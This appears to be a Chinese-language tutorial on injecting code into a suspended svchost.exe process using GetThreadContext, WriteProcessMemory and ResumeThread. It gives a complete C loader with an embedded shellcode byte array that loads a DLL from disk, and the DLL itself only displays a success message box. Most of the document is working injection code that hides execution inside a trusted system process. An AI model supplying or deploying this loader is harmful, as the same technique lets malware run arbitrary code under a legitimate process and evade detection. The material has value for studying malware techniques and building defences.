本文主要利用 SetThreadContext 修改进程中的线程上下文来实现Dll注入(ShellCode)。

实现原理

  • 首先,使用 CreateProcess 函数创建svchost.exe进程,并且设置创建进程的标志为 CREATE_SUSPENDED,即表示新进程的主线程被挂起。
  • 使用 GetThreadContext,设置标志为 CONTEXT_ALL,获取新进程中所有的线程上下文。
  • 使用 ReadProcessMemory 读取目标进程的加载基址。
  • 在原来的空间中进行覆盖写入 Shellcode。
  • 最后,调用 ResumeThread 恢复主线程,让进程继续运行并执行我们的 Shellcode 代码。

EXE主程序

int main()
{
//Dll inject shellcode, path D:\x86.dll
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50"
"\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26"
"\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7"
"\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78"
"\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3"
"\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01"
"\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58"
"\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3"
"\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a"
"\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x8d\x85\xb0"
"\x00\x00\x00\x50\x68\x4c\x77\x26\x07\xff\xd5\xbb\xf0\xb5"
"\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80"
"\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5"
"\x44\x3a\x5c\x78\x38\x36\x2e\x64\x6c\x6c\x00"; STARTUPINFOA si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(STARTUPINFOA);
// 创建挂起进程
if (!CreateProcessA(
"C:\\windows\\sysWoW64\\svchost.exe",
NULL,
NULL,
NULL,
FALSE,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
&pi
))
{
printf("CreateProcess failed (%d).\n", GetLastError());
return 0;
} // 获取线程上下文
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_ALL;
if (!GetThreadContext(pi.hThread, &ctx))
{
printf("GetThreadContext failed (%d).\n", GetLastError());
} // 拿到目标进程主线程上下文后,在Ebx寄存器中保存的就是PEB的地址,
// 而PEB结构偏移0x8的位置是AddressOfImageBase字段,
// 所以直接来读取ctx.Ebx+0x8,就可以获取到目标进程的加载基址
DWORD dwImageBase = 0;
DWORD lpNumberOfBytesRead = 0;
if (!ReadProcessMemory(pi.hProcess, (LPCVOID)(ctx.Ebx + 0x8), &dwImageBase, sizeof(DWORD), &lpNumberOfBytesRead))
{
printf("ReadProcessMemory failed (%d).\n", GetLastError());
return 0;
} // 在申请的空间中写入shellcode
DWORD NumberOfBytesWritten = 0;
if (!WriteProcessMemory(pi.hProcess, (LPVOID)ctx.Eax, buf, sizeof(buf), &NumberOfBytesWritten))
{
printf("WriteProcessMemory failed (%d).\n", GetLastError());
} // 恢复线程执行
if (ResumeThread(pi.hThread) == -1)
{
printf("ResumeThread failed (%d).\n", GetLastError());
} system("pause"); return 0;
}

DLL程序

BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
MessageBox(NULL, "DLL inject successful!", "Successful", NULL);
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

效果演示

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